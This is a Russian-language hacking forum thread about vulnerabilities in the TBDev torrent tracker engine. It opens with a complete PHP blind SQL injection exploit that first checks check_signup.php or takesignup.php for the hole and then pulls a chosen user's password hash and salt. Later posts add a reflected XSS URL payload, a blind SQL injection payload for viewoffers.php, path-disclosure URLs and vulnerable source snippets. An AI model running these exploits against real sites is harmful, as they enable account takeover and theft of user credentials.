Вторая версия сплоита. Отличия в поиске нет. Но зато теперь он распознает сам пропатчен/отсутсвует ли фаил check_signup.php. Если да то пытается осуществить атаку через takesignup.php. Естественно перед этим происходит проверка на уязвимость обоих методов. PHP: <? //TBDev2 Blind SQL Injection Exploit by Qwazar //Greets: +toxa+ & antichat.ru & Rostov114 set_time_limit(0); ignore_user_abort(1); Error_Reporting(E_ALL & ~E_NOTICE); function send_xpl($url, $xpl, $type){ global $id; $u=parse_url($url); switch($type) { case 'takesignup': $data = "wantusername=admin&wantpassword=123456&passagain=123456&gender=1&country=1&year=1970&month=01&day=01&"; $data .= "rulesverify=yes&faqverify=yes&ageverify=yes&email={$xpl}"; $req = "POST ".$u['path']."takesignup.php HTTP/1.1\r\n"; break; case 'check': $data = "action=email&email={$xpl}"; $req = "POST ".$u['path']."check_signup.php HTTP/1.1\r\n"; break; } $req .= "Host: ".$u['host']."\r\n"; $req .= "Content-Length: ".strlen($data)."\r\n"; $req .= "Content-Type: application/x-www-form-urlencoded\r\n"; $req .= "Connection: close\r\n\r\n"; $req .= $data; $fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n"); fwrite($fs, $req); while (!feof($fs)) { $res .= fread($fs, 8192); } fclose($fs); return $res; } function xpl($field, $condition, $pos){ global $id; $xpl="-1'+or+id=if(ascii(substring((select+$field+from+ users +where+id=$id),$pos,1))$condition,'1',(select+1+un i on+select+2))+--+ @ukrnet.ua"; return $xpl; } function cond($url, $field, $cond, $pos, $ch) { global $type; if(!preg_match('/Subquery returns/', send_xpl($url, xpl($field,$cond.$ch,$pos), $type))) return 1; else return 0; } function isVulnerable($url) { global $type; if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1), 'check'))) { echo "File check_signup.php absents or not vulnerable.\r\n"; } else { $type = 'check'; } if(!$type) { if(!preg_match('/Subquery returns/', send_xpl($url, xpl("passhash","=-1",1), 'takesignup'))) { die( "Exploit failed: Target is not vulnerable." ); } else { $type = 'takesignup'; } } } function getChar($url, $field, $pos, $lb=0, $ub=255) { while(true) { $M = floor($lb + ($ub-$lb)/2); if(cond($url, $field, '<', $pos, $M)==1) { $ub = $M - 1; } else if(cond($url, $field, '>', $pos, $M)==1) { $lb = $M + 1; } else return chr($M); if($lb > $ub) return -1; } } if($argc<2) { echo "==================\r\n"; echo "Using tbdev2sql.php url target_id\r\ntarget_id - id of target member\r\n\r\n\r\nEx.: tbdev2xpl.php http://www.site.com/ 1\r\n"; echo "==================\r\n"; die(); } global $type; $url=$argv[1]; $id=$argv[2]; echo $url.":".$id."\r\n"; isVulnerable($url); echo "Trying to get passhash: "; for($i=1;$i<=32;$i++){ $c = getChar($url, "passhash", $i, 47, 103); if($c==-1) die("\r\nExploit failed\r\n"); else echo $c; } echo " [DONE]\r\n"; echo "Trying to get salt: "; for($i=1;$i<=20;$i++){ $c = getChar($url, "secret", $i); if($c==-1) die("\r\nExploit failed\r\n"); else echo $c; } echo " [DONE]\r\n"; ?> = ) Конечно в эту версию можно было прикрутить и атаку через requests.php...но я не стал этого делать.
Сегодня ищя в очередной раз дыры в TBDev заметил странную вещь если после имени файла добавить слеш (/) то весь дизайн перекосит...после 5 минут анализирования нашел активную XSS Использование Code: http://torrent/xxx.php/"><script>alert(/XSS/)</script>/ Где xxx любой фаил двига который отображает что либо в дизайне.
НА КОЛ тебя! багу я и s_p_a_m нашли больше чем пол года назад! http://forum.antichat.ru/showpost.php?p=958334&postcount=51
Ты это..прочитай получше это сообщение...ты думаеш почему я сплоит под эту багу писал основываясь на споите Qwazar...а т.к. файлик то не запишеш...ты вначале читай..а потом обсирай...
Извините я в этом деле новичок но есть у нас в локальном пользовании трекер у которого вроде бы как движок TBDev 2.0, почему вроде бы потомучто у него в низу сайта есть такая натпись Вывести отчет об ошибке я так и не смог, перечитал кучу статей про SQL-inj и единственное что смог вывести так это страницу с странным текстом типа: "То, что вы хотите, нету.", "URL неправильный.", "Я даже попробовал поглядеть рядом.", "Нет ничего похожего.", "А случайно не перепутали с [бЮЬЮ ЯЯШКЙЮ]",............. Помогите что мне дальше с этим делать?
yurets, скорее всего файл requests.php в этой сборке удалили, и правильно сделали. Попробуй поискать другие уязвимости.
вот что то нашел..))))зацени))что то у меня он не прошел http://127.0.0.1/treker/testip.php?ip=1' кажется что ето не SQL-inj P.S.но все равно решил выложить.... P.S.S уже на сонную голову пишу..мб есть такой пост Code: if ($_SERVER["REQUEST_METHOD"] == "POST") $ip = $_POST["ip"]; else $ip = $_GET["ip"]; if ($ip) { $nip = ip2long($ip); if ($nip == -1) stderr($tracker_lang['error'], "Bad IP."); $res = sql_query("SELECT * FROM bans WHERE $nip >= first AND $nip <= last") or sqlerr(__FILE__, __LINE__); if (mysql_num_rows($res) == 0) stderr("Результат", "IP адрес <b>$ip</b> не забанен."); else { $banstable = "<table class=main border=0 cellspacing=0 cellpadding=5>\n" . "<tr><td class=colhead>Первый</td><td class=colhead>Последний</td><td class=colhead>Комментарий</td></tr>\n"; while ($arr = mysql_fetch_assoc($res)) { $first = long2ip($arr["first"]); $last = long2ip($arr["last"]); $comment = htmlspecialchars($arr["comment"]); $banstable .= "<tr><td>$first</td><td>$last</td><td>$comment</td></tr>\n"; } $banstable .= "</table>\n"; stderr("Результат", "<table border=0 cellspacing=0 cellpadding=0><tr><td class=embedded style='padding-right: 5px'><img src=pic/smilies/excl.gif></td><td class=embedded>IP адрес <b>$ip</b> забанен:</td></tr></table><p>$banstable</p>"); } } stdhead("Проверка IP"); BpoDE POST
Молодчина, это слепая скуль. Code: /viewoffers.php?filter= AND if(substring(version(),1,1)=5,(select 1 union select 2),1) -- 1 Советую почитать и вникнуть в статью (пункт "3.ЧТО ДЕЛАТЬ ЕСЛИ ОТСУТСТВУЮТ ВЫВОДИМЫЕ ПОЛЯ."): https://forum.antichat.ru/thread43966.html А затем: https://forum.antichat.ru/thread119047.html Кстати, если есть хоть одна запись в таблице offers, в следующем запросе (у меня строка 98) можно увидеть скулю с выводом (проверь, я не пробовал на практике, но по коду - вывод вроде есть).
http://localhost/treker/comment.php?action=check&tid[]= тоже раскрытие путей))))что то типа твоего)))
Не нужно для каждого раскрытия писать отдельный пост, в этом движке раскрытий тысяча и одна штука. Собирай их все в один пост, а не плоди сообщения.
Хотя их можно отключить 1 функцией... А за скуль спасибо = ) P.S. Кому интересно могу дать сплоит который атакует по всем на данный момент известным уязвимостям, включая последнюю. Выкладывать в паблик не хочу ибо слишком он сейчас опасен.
Тут пишут что найдена ещё уязвимость: https://forum.antichat.ru/showpost.php?p=1346236&postcount=7789 Источник не указан, если кто найдёт - пишите, поставим копирайты. Расковырял этот парметр, вот результат: Посмотрел, короче будет работать только если: 1) залогиниться 2) юзер хоть раз участвовал в голосовании Уязвимый запрос: Code: sql_query("INSERT INTO pollanswers VALUES(0, $pollid, $userid, $choice)") or sqlerr(__FILE__, __LINE__); тогда можно в к примеру сделать так: UPD: Нашёл источник: "Bug discovered by Emiliano Scavuzzo"
Если добавить (int) как написано в твоём посте, то спасает. Я не знаю может в новой версии есть строгое приведение типа, я на старой смотрел, там его нет. З.Ы. Вот у меня код такой: Code: if ($_SERVER["REQUEST_METHOD"] == "POST") { $choice = $_POST["choice"]; if ($CURUSER && $choice != "" && $choice < 256 && $choice == floor($choice)) {